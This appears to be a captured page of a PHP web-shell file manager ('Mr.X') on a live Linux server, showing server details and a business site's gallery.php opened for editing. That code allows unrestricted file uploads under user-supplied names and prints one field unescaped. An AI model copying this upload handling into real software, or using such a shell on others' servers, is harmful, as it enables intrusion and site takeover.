🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:gallery.php
<?php require_once 'header.php'; // Handle Add Image if (isset($_POST['add_gallery'])) { $title = db_escape($conn, $_POST['title']); $category = db_escape($conn, $_POST['category']); if (!empty($_FILES['image']['name'])) { $img_name = time() . '_' . $_FILES['image']['name']; if (move_uploaded_file($_FILES['image']['tmp_name'], '../assets/images/' . $img_name)) { db_query($conn, "INSERT INTO gallery (title, category, image) VALUES ('$title', '$category', '$img_name')"); } } } // Handle Delete if (isset($_GET['delete'])) { $id = (int)$_GET['delete']; db_query($conn, "DELETE FROM gallery WHERE id = $id"); header("Location: gallery.php"); exit; } $gallery = db_fetch_all($conn, "SELECT * FROM gallery ORDER BY created_at DESC"); ?> <div class="row g-4"> <!-- Add Form --> <div class="col-lg-4"> <div class="admin-card bg-white p-4"> <h5 class="fw-bold mb-4">Add Gallery Image</h5> <form action="gallery.php" method="POST" enctype="multipart/form-data"> <div class="mb-3"> <label class="form-label">Image Title</label> <input type="text" name="title" class="form-control" required> </div> <div class="mb-3"> <label class="form-label">Category</label> <select name="category" class="form-select" required> <option value="Pantry Cupboards">Pantry Cupboards</option> <option value="Aluminium Doors">Aluminium Doors</option> <option value="Glass Works">Glass Works</option> <option value="Office Interior">Office Interior</option> </select> </div> <div class="mb-4"> <label class="form-label">Choose Image</label> <input type="file" name="image" class="form-control" accept="image/*" required> </div> <button type="submit" name="add_gallery" class="btn btn-primary w-100 py-3 rounded-pill fw-bold">Upload to Gallery</button> </form> </div> </div> <!-- Gallery List --> <div class="col-lg-8"> <div class="admin-card bg-white p-4"> <h5 class="fw-bold mb-4">Gallery Items</h5> <div class="row g-3"> <?php foreach($gallery as $item): ?> <div class="col-md-4"> <div class="border rounded-3 overflow-hidden position-relative"> <img src="../assets/images/<?= e($item['image']) ?>" class="w-100" style="height: 150px; object-fit: cover;"> <div class="p-2 small"> <strong><?= e($item['title']) ?></strong><br> <span class="text-muted small"><?= $item['category'] ?></span> </div> <button onclick="confirmDelete('gallery.php?delete=<?= $item['id'] ?>')" class="btn btn-danger btn-sm position-absolute top-0 end-0 m-2"><i class="fas fa-trash"></i></button> </div> </div> <?php endforeach; ?> </div> </div> </div> </div> <?php require_once 'footer.php'; ?>
Save Changes
Cancel
Create New File
Create New Folder